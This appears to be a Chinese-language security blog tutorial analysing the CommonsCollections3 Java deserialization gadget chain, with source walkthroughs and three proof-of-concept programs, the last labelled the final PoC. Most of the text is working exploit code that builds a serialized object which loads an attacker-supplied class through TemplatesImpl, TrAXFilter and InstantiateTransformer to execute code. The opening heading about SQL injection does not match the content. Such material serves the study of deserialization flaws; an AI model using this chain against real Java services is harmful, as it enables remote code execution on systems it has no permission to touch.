第一章 什么是sql注入
TemplatesImpI类分析
进入TemplatesImpl进行分析
分析getTransletInstance
这里有两个判断条件
如果_name==null 返回null
如果_class==null就调用defineTransletClasses()
下来跟进defineTransletClasses()
分析defineTransletClasses()
![](https://img-blog.csdnimg.cn/img_convert/8f3980a58bfa61762121f927c4384ff2.png)
这里如果_bytecodes==null
就执行错误处理语句块
看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值
这个常量中 可以跟进这个常量看看这个常量中存储了什么值
可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它
注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件
这里我们可以构造我们初步测试的poc 版本一
1 //实例化TemplatesImpl
2 TemplatesImpl templates=new TemplatesImpl();
3 //获取TemplatesImpl的Class
4 Class tc=templates.getClass();
5 Field nameField=tc.getDeclaredField("_name");
6 nameField.setAccessible(true);
7 nameField.set(templates,"aaaa");
8 Field bytecodesField=tc.getDeclaredField("_bytecodes");
9 bytecodesField.setAccessible(true);
10 //加载恶意类
11 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
12 byte[][] codes={code};
13 bytecodesField.set(templates,codes);
14
15 Field tfactoryField=tc.getDeclaredField("_tfactory");
16 tfactoryField.setAccessible(true);
17 tfactoryField.set(templates,new TransformerFactoryImpl());
18 #调用
19 templates.newTransformer();
我们可以复盘一下我们通过TemplatesImpl调用链子
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
下来我们的目标就是想办法调用newTransformer() 我们可以使用之前cc1的方法
这里的newTransformr可以用transformers进行链式调用newTransformer
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
下来把剩下的cc1 LzayMap本剩下的代码站过来即可
初步测试版本的poc 二
1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
2 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
3 import org.apache.commons.collections.Transformer;
4 import org.apache.commons.collections.functors.ChainedTransformer;
5 import org.apache.commons.collections.functors.ConstantTransformer;
6 import org.apache.commons.collections.functors.InvokerTransformer;
7 import org.apache.commons.collections.map.LazyMap;
8 import java.io.ByteArrayInputStream;
9 import java.io.ByteArrayOutputStream;
10 import java.io.ObjectInputStream;
11 import java.io.ObjectOutputStream;
12 import java.lang.reflect.*;
13 import java.nio.file.Files;
14 import java.nio.file.Paths;
15 import java.util.HashMap;
16 import java.util.Map;
17
18
19 public class cc3aa{
20 public static void main(String[] args)throws Exception {
21
22 TemplatesImpl templates=new TemplatesImpl();
23 Class tc=templates.getClass();
24 Field nameField=tc.getDeclaredField("_name");
25 nameField.setAccessible(true);
26 nameField.set(templates,"aaaa");
27 Field bytecodesField=tc.getDeclaredField("_bytecodes");
28 bytecodesField.setAccessible(true);
29
30 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
31 byte[][] codes={code};
32 bytecodesField.set(templates,codes);
33
34 Field tfactoryField=tc.getDeclaredField("_tfactory");
35 tfactoryField.setAccessible(true);
36 tfactoryField.set(templates,new TransformerFactoryImpl());
37
38
39 Transformer[] transformers=new Transformer[]{
40 new ConstantTransformer(templates),
41 new InvokerTransformer("newTransformer",null,null),
42 };
43
44 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
45
46 HashMap<Object,Object> map=new HashMap<Object, Object>();
47 Map<Object,Object> lazyMap=LazyMap.decorate(map,chainedTransformer);
48
49 Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
50 Constructor annotationInvocationdhdConstructor=c.getDeclaredConstructor(Class.class,Map.class);
51 annotationInvocationdhdConstructor.setAccessible(true);
52 InvocationHandler h= (InvocationHandler) annotationInvocationdhdConstructor.newInstance(Override.class,lazyMap);
53
54
55 Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
56
57 Object os=annotationInvocationdhdConstructor.newInstance(Override.class,mapProxy);
58
59 ByteArrayOutputStream barr = new ByteArrayOutputStream();
60 ObjectOutputStream oos = new ObjectOutputStream(barr);
61 oos.writeObject(os);
62 oos.close();
63 System.out.println(barr);
64
65 ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
66 Object o=ois.readObject();
67 System.out.println(o);
68
69
70
71
72 }
73 }
这个版本测试poc可以完全成功执行代码 但是问题来了
这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。有攻就有防,ysoserial随后增加了不少新的Gadgets,其中就包括本次的CommonsCollections3。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。
这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步
TrAXFilter类分析
![](https://img-blog.csdnimg.cn/img_convert/4e6858606f218691fa860f469aa5cec4.png)
可以看到第61行
因为第一个版本的java序列化 这里调用了newTransformer()方法
这个类是不能被序列化的
cc3的作者着使用InstantiateTransformer
InstantiateTransformer类分析
![](https://img-blog.csdnimg.cn/img_convert/0a7f70e5326a1bb234c0f024473cffc6.png)
从第100行开始看可以看到这里判断传进来的是不是Class类型 如果是再102行使用getConstructor()获得指定类构造器 紧接着106行newInstance调用了构造器获得的方法并传入变量值
newInstance 方法对对象进行初始化 调用方法
构造
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
调用instantiateTransformer.transform()方法并传入TrAXFilter.class 这样再程序进入到InstantiateTransformer中的transform中执行的时候 这样就可以调用TrAXFilter.class的构造方法并将 Templates.class类传入到getConstructor()这样是调用指定的类方法TrAXFilter.class中的指定的类方法 再程序进入到到106行进行了newInstance方法调用 将传进来的templates传给被调构造方法中的变量
最终poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc3aa{
public static void main(String[] args)throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField=tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
byte[][] codes={code};
bytecodesField.set(templates,codes);
Field tfactoryField=tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//
HashMap<Object,Object> map=new HashMap<Object, Object>();
Map<Object,Object> lazyMap= LazyMap.decorate(map,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdConstructor.setAccessible(true);
InvocationHandler h= (InvocationHandler) annotationInvocationdhdConstructor.newInstance(Override.class,lazyMap);
Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object os=annotationInvocationdhdConstructor.newInstance(Override.class,mapProxy);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(os);
oos.close();
System.out.println(barr);
ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o=ois.readObject();
System.out.println(o);
}
}